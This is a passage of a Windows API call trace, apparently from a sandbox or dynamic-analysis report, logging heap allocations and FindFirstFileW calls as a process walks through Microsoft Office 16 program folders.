dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0228.890] GetProcessHeap () returned 0xc10000 [0228.890] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0228.890] GetProcessHeap () returned 0xc10000 [0228.890] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0228.890] GetProcessHeap () returned 0xc10000 [0228.890] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0228.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0228.891] GetProcessHeap () returned 0xc10000 [0228.891] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0228.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0228.894] GetProcessHeap () returned 0xc10000 [0228.894] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0228.894] GetProcessHeap () returned 0xc10000 [0228.894] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0228.894] GetProcessHeap () returned 0xc10000 [0228.894] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0228.908] GetProcessHeap () returned 0xc10000 [0228.908] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0228.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0228.909] GetProcessHeap () returned 0xc10000 [0228.909] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0228.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18a3b641, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197321ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0228.928] GetProcessHeap () returned 0xc10000 [0228.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0228.928] GetProcessHeap () returned 0xc10000 [0228.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0228.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0228.931] GetProcessHeap () returned 0xc10000 [0228.931] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0228.931] GetProcessHeap () returned 0xc10000 [0228.932] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0228.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0228.935] GetProcessHeap () returned 0xc10000 [0228.935] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0228.935] GetProcessHeap () returned 0xc10000 [0228.935] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0228.935] GetProcessHeap () returned 0xc10000 [0228.935] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0228.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0229.218] GetProcessHeap () returned 0xc10000 [0229.219] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0229.219] GetProcessHeap () returned 0xc10000 [0229.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0229.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0229.220] GetProcessHeap () returned 0xc10000 [0229.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0229.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0229.221] GetProcessHeap () returned 0xc10000 [0229.221] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0229.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.226] GetProcessHeap () returned 0xc10000 [0229.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0229.226] GetProcessHeap () returned 0xc10000 [0229.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0229.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0229.228] GetProcessHeap () returned 0xc10000 [0229.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0229.228] GetProcessHeap () returned 0xc10000 [0229.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0229.228] GetProcessHeap () returned 0xc10000 [0229.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0229.229] GetProcessHeap () returned 0xc10000 [0229.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0229.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0229.234] GetProcessHeap () returned 0xc10000 [0229.234] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0229.235] GetProcessHeap () returned 0xc10000 [0229.235] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.235] GetProcessHeap () returned 0xc10000 [0229.235] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0229.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0229.236] GetProcessHeap () returned 0xc10000 [0229.236] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0229.240] GetProcessHeap () returned 0xc10000 [0229.240] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.240] GetProcessHeap () returned 0xc10000 [0229.240] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0229.241] GetProcessHeap () returned 0xc10000 [0229.241] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.241] GetProcessHeap () returned 0xc10000 [0229.241] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0229.241] GetProcessHeap () returned 0xc10000 [0229.241] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0229.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0229.658] GetProcessHeap () returned 0xc10000 [0229.659] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0229.662] GetProcessHeap () returned 0xc10000 [0229.662] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0229.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b22ac67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b22ac67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0229.673] GetProcessHeap () returned 0xc10000 [0229.674] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0229.948] GetProcessHeap () returned 0xc10000 [0229.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0229.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b3a83c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b3a83c3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0229.951] GetProcessHeap () returned 0xc10000 [0229.951] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0229.953] GetProcessHeap () returned 0xc10000 [0229.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.953] GetProcessHeap () returned 0xc10000 [0229.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.957] GetProcessHeap () returned 0xc10000 [0229.957] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.957] GetProcessHeap () returned 0xc10000 [0229.957] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0229.960] GetProcessHeap () returned 0xc10000 [0229.960] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.960] GetProcessHeap () returned 0xc10000 [0229.960] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.962] GetProcessHeap () returned 0xc10000 [0229.962] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.962] GetProcessHeap () returned 0xc10000 [0229.962] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0229.963] GetProcessHeap () returned 0xc10000 [0229.964] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.964] GetProcessHeap () returned 0xc10000 [0229.964] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0229.965] GetProcessHeap () returned 0xc10000 [0229.965] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.965] GetProcessHeap () returned 0xc10000 [0229.965] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0229.966] GetProcessHeap () returned 0xc10000 [0229.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.967] GetProcessHeap () returned 0xc10000 [0229.967] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.968] GetProcessHeap () returned 0xc10000 [0229.968] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.968] GetProcessHeap () returned 0xc10000 [0229.968] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0229.969] GetProcessHeap () returned 0xc10000 [0229.970] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.970] GetProcessHeap () returned 0xc10000 [0229.970] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 